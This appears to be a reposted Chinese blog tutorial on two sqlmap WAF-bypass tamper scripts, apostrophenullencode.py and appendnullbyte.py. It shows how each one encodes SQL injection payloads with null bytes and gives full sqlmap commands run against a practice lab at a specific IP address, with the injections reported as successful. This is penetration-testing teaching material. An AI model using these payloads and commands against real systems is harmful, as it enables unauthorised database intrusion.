zoukankan      html  css  js  c++  java
  • sqlmap从入门到精通-第七章-7-2 绕过WAF脚本-apostrophenullencode.py&appendnullbyte.py

    2. apostrophenullencode.py脚本
    使用非法的双字节unicode字符替换单引号字符,即 %00%27替换为单引号"'",例如payload是 "1 AND '1'='1" 经过此脚本操作变换为"1 AND %00%271%00%27=%00%271"

    实战演示:

    测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="apostrophenullencode.py" --proxy="http://127.0.0.1:8080"

    经过测试使用此双字节unicode字符替换单引号的方式是有效果的,可以注入出来,具体看下图

     发现是注入成功的,下面看看burpsuite抓到的payload

    对注入的payload进行解码

     发现是准确的,就是使用%00%27替换成单引号。

    -------------------------------------------------------------------------------------------------------------------------------------------------------------

    3. appendnullbyte.py脚本
    通过在payload末尾添加空字符编码,就是加类是这样的"%00",例如:"1 AND 88=88%00'" ,作者这里描述反馈的是只适用于Access数据库,但是我测试环境是Mariadb数据库发现是测试成功的,也能注入出来。

    实战演示:

    测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="appendnullbyte.py" --proxy="http://127.0.0.1:8080"

    下面的演示的效果图:

     

     使用Burpsuite抓包查看payload是否添加%00

    验证完成,可确认此绕过方式也适用Mariadb数据库,即在payload后面添加%00

  • 相关阅读:
    linux启动流程
    树-二叉平衡树AVL
    算法导论第六章 堆排序
    算法导论基础(第一~五章)
    树-二叉查找树
    Java:基础
    【转】为什么C++编译器不能支持对模板的分离式编译
    压缩和解压缩命令
    Makefile编程
    1.什么是Mybatis?
  • 原文地址:https://www.cnblogs.com/autopwn/p/13433414.html
Copyright © 2011-2022 走看看